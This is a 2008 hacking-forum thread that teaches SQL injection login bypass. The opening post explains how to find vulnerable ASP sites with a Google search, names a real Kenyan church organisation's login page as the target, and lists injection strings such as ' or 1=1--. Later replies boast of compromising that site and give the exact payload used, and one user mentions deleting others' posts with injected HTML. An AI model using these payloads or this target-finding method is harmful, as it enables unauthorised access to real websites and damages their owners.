All that is necessary for evil to succeed is that good people do nothing! Support Act for America

sql injections and how to do them - Anarchist Cookbook
Anarchist Cookbook  

Go Back   Anarchist Cookbook > Anarchist Cookbook > Hacking > Tutorials

Tutorials How-to, etc...

Reply
 
Thread Tools Search this Thread Display Modes
Old October 14th, 2008   #1
deathlord888
Senior Member
Points: 14,698, Level: 52
Points: 14,698, Level: 52 Points: 14,698, Level: 52 Points: 14,698, Level: 52
Activity: 100%
Activity: 100% Activity: 100% Activity: 100%
 
deathlord888's Avatar
 
3D Net Blazer Champion!
Park Soccer Champion!
Heidi: Throw the bell Champion!
Mind Me Bloody Beer Champion!
Tournaments Won: 1

Last Online: 43 Minutes Ago 08:46 PM
Join Date: Jul 2006
Age: 18
Posts: 4,028
Cash Credits: 50,862
deathlord888 RSS Feed
Send a message via MSN to deathlord888
sql injections and how to do them

sql injections are a joke

all this does is trick the server into running some code in the password field that appears you have the correct password ie 1=1 or a=a
the website then believes you have the right password, instead of comparing the two passwords to see if they are identical it takes the statement 1=1 and since that is true it lets you in

google inurl:index.asp
for possibly vunerable websites

then to log in try injecting different code

i will use the churches of kenya site as an example
http://www.ncck.org/*****/login.asp?check=false
go to the login
type *****
then in the password field try different sql lines from below
if you get an error message when you enter the line that means the website is vunerable so keep trying untill you get it

here is the list
' or 'a'='a
' or 1=1--
" or 1=1--
" or "a"="a
or 1=1--
') or ('a'='a

have fun


__________________
I HATE MY SN
Quote:
Originally Posted by AssRot View Post
Smiling is for girls and fags

Last edited by deathlord888; October 18th, 2008 at 09:49 PM..
deathlord888 is offline   Reply With Quote
Old October 14th, 2008   #2
Exploding_viper
Member
Points: 3,152, Level: 23
Points: 3,152, Level: 23 Points: 3,152, Level: 23 Points: 3,152, Level: 23
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 

Last Online: April 22nd, 2009 05:23 PM
Join Date: Nov 2007
Location: cinderella land
Posts: 564
Cash Credits: 10,119
Exploding_viper RSS Feed
lol pwned that site
Exploding_viper is offline   Reply With Quote
Old October 15th, 2008   #3
deathlord888
Senior Member
Points: 14,698, Level: 52
Points: 14,698, Level: 52 Points: 14,698, Level: 52 Points: 14,698, Level: 52
Activity: 100%
Activity: 100% Activity: 100% Activity: 100%
 
deathlord888's Avatar
 
3D Net Blazer Champion!
Park Soccer Champion!
Heidi: Throw the bell Champion!
Mind Me Bloody Beer Champion!
Tournaments Won: 1

Last Online: 43 Minutes Ago 08:46 PM
Join Date: Jul 2006
Age: 18
Posts: 4,028
Cash Credits: 50,862
deathlord888 RSS Feed
Send a message via MSN to deathlord888
haha ya it is easy
__________________
I HATE MY SN
Quote:
Originally Posted by AssRot View Post
Smiling is for girls and fags
deathlord888 is offline   Reply With Quote
Old October 16th, 2008   #4
freetibet
Senior Member
Points: 7,205, Level: 36
Points: 7,205, Level: 36 Points: 7,205, Level: 36 Points: 7,205, Level: 36
Activity: 6%
Activity: 6% Activity: 6% Activity: 6%
 
freetibet's Avatar
 
The Wikings Champion!
Easter Egged Champion!
Grrr... Game Champion!
POL Champion!

Last Online: 3 Hours Ago 05:51 PM
Join Date: Mar 2008
Location: Utah
Posts: 2,318
Cash Credits: 32,154
freetibet RSS Feed
i've been wanting to know how sql works. if i'd known it was so simple i would have tried it ages ago

I tried it on the churches kenya website but when i tried to go to the forum it said the host was locked.

did you have this problem?
__________________
There's no place like 127.0.0.1.

Last edited by freetibet; October 16th, 2008 at 03:01 AM..
freetibet is offline   Reply With Quote
Old October 16th, 2008   #5
deathlord888
Senior Member
Points: 14,698, Level: 52
Points: 14,698, Level: 52 Points: 14,698, Level: 52 Points: 14,698, Level: 52
Activity: 100%
Activity: 100% Activity: 100% Activity: 100%
 
deathlord888's Avatar
 
3D Net Blazer Champion!
Park Soccer Champion!
Heidi: Throw the bell Champion!
Mind Me Bloody Beer Champion!
Tournaments Won: 1

Last Online: 43 Minutes Ago 08:46 PM
Join Date: Jul 2006
Age: 18
Posts: 4,028
Cash Credits: 50,862
deathlord888 RSS Feed
Send a message via MSN to deathlord888
no lol maybe they got tired of people doing it lol

i used
hi' or 'a'='a
__________________
I HATE MY SN
Quote:
Originally Posted by AssRot View Post
Smiling is for girls and fags
deathlord888 is offline   Reply With Quote
Old October 20th, 2008   #6
MISFlT
Member
Points: 1,961, Level: 18
Points: 1,961, Level: 18 Points: 1,961, Level: 18 Points: 1,961, Level: 18
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 
MISFlT's Avatar
 

Last Online: 3 Weeks Ago 04:34 AM
Join Date: Apr 2008
Location: California
Age: 21
Posts: 326
Cash Credits: 5,681
MISFlT RSS Feed
ok um... what?

never tried sql injections... run me thru it?
__________________

Giving unaccurate knowledge since 1989
MISFlT is offline   Reply With Quote
Old October 20th, 2008   #7
deathlord888
Senior Member
Points: 14,698, Level: 52
Points: 14,698, Level: 52 Points: 14,698, Level: 52 Points: 14,698, Level: 52
Activity: 100%
Activity: 100% Activity: 100% Activity: 100%
 
deathlord888's Avatar
 
3D Net Blazer Champion!
Park Soccer Champion!
Heidi: Throw the bell Champion!
Mind Me Bloody Beer Champion!
Tournaments Won: 1

Last Online: 43 Minutes Ago 08:46 PM
Join Date: Jul 2006
Age: 18
Posts: 4,028
Cash Credits: 50,862
deathlord888 RSS Feed
Send a message via MSN to deathlord888
it tricks the server into thinking that the password is correct because the statement you send it is true
__________________
I HATE MY SN
Quote:
Originally Posted by AssRot View Post
Smiling is for girls and fags
deathlord888 is offline   Reply With Quote
Old November 18th, 2008   #8
ninj4n
Junior Member
Points: 206, Level: 4
Points: 206, Level: 4 Points: 206, Level: 4 Points: 206, Level: 4
Activity: 0%
Activity: 0% Activity: 0% Activity: 0%
 

Last Online: April 29th, 2009 09:44 AM
Join Date: Aug 2008
Age: 24
Posts: 10
Cash Credits: 474
ninj4n RSS Feed
scriptkiddies >:>
ninj4n is offline   Reply With Quote
Old November 18th, 2008   #9
deathlord888
Senior Member
Points: 14,698, Level: 52
Points: 14,698, Level: 52 Points: 14,698, Level: 52 Points: 14,698, Level: 52
Activity: 100%
Activity: 100% Activity: 100% Activity: 100%
 
deathlord888's Avatar
 
3D Net Blazer Champion!
Park Soccer Champion!
Heidi: Throw the bell Champion!
Mind Me Bloody Beer Champion!
Tournaments Won: 1

Last Online: 43 Minutes Ago 08:46 PM
Join Date: Jul 2006
Age: 18
Posts: 4,028
Cash Credits: 50,862
deathlord888 RSS Feed
Send a message via MSN to deathlord888
how am i a skiddie?
am i using code i do not understand?
am i running programs made by others that i do not understand?
before you flame at least gather some proof
__________________
I HATE MY SN
Quote:
Originally Posted by AssRot View Post
Smiling is for girls and fags
deathlord888 is offline   Reply With Quote
Old November 19th, 2008   #10
DoG MikkyW
Member
Points: 3,461, Level: 24
Points: 3,461, Level: 24 Points: 3,461, Level: 24 Points: 3,461, Level: 24
Activity: 51%
Activity: 51% Activity: 51% Activity: 51%
 
DoG MikkyW's Avatar
 

Last Online: 3 Hours Ago 05:44 PM
Join Date: Mar 2008
Location: Florida
Age: 21
Posts: 995
Cash Credits: 13,646
DoG MikkyW RSS Feed
Send a message via ICQ to DoG MikkyW Send a message via AIM to DoG MikkyW Send a message via MSN to DoG MikkyW Send a message via Yahoo to DoG MikkyW
I deleted everyone's post with <noembed>...
DoG MikkyW is offline   Reply With Quote
Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT -5. The time now is 09:30 PM.


Powered by Anarchy and vBulletin® Version 3.7.5
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios